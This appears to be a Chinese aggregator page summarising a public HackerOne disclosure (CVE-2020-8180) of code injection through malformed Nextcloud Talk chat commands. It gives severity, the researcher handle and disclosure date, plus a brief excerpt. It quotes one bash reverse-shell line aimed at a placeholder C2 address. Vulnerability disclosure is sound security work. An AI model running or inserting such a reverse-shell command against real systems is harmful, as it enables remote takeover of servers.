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地图 / Code injection possible with malformed Nextcloud Talk chat commands

Code injection possible with malformed Nextcloud Talk chat commands

代码执行 / 代码注入 / #851807

厂商
Nextcloud
严重程度
中危 · CVSS 8
赏金
—
弱点
代码注入
研究员
@covert-spectre
披露日期
2020-06-02
资产
nextcloud/spreed
CVE
CVE-2020-8180

该报告还没有中文解读。

原文摘录

摘自原文(4388 字符中的一小部分)
Summary The Nextcloud Talk app allows system administrators to setup chat commands that can be executed in Talk using the "/command" syntax. Users can provide additional arguments to the commands, such as "/calc 1+1" or "/wiki Hello", which are passed to the underlying script using `@exec`. If …
原文中的代码
   bash -i >& /dev/tcp/<c2-ip-here>/8888 0>&1 &
   

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Nextcloud 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @covert-spectre · 版权归作者与 Nextcloud 所有

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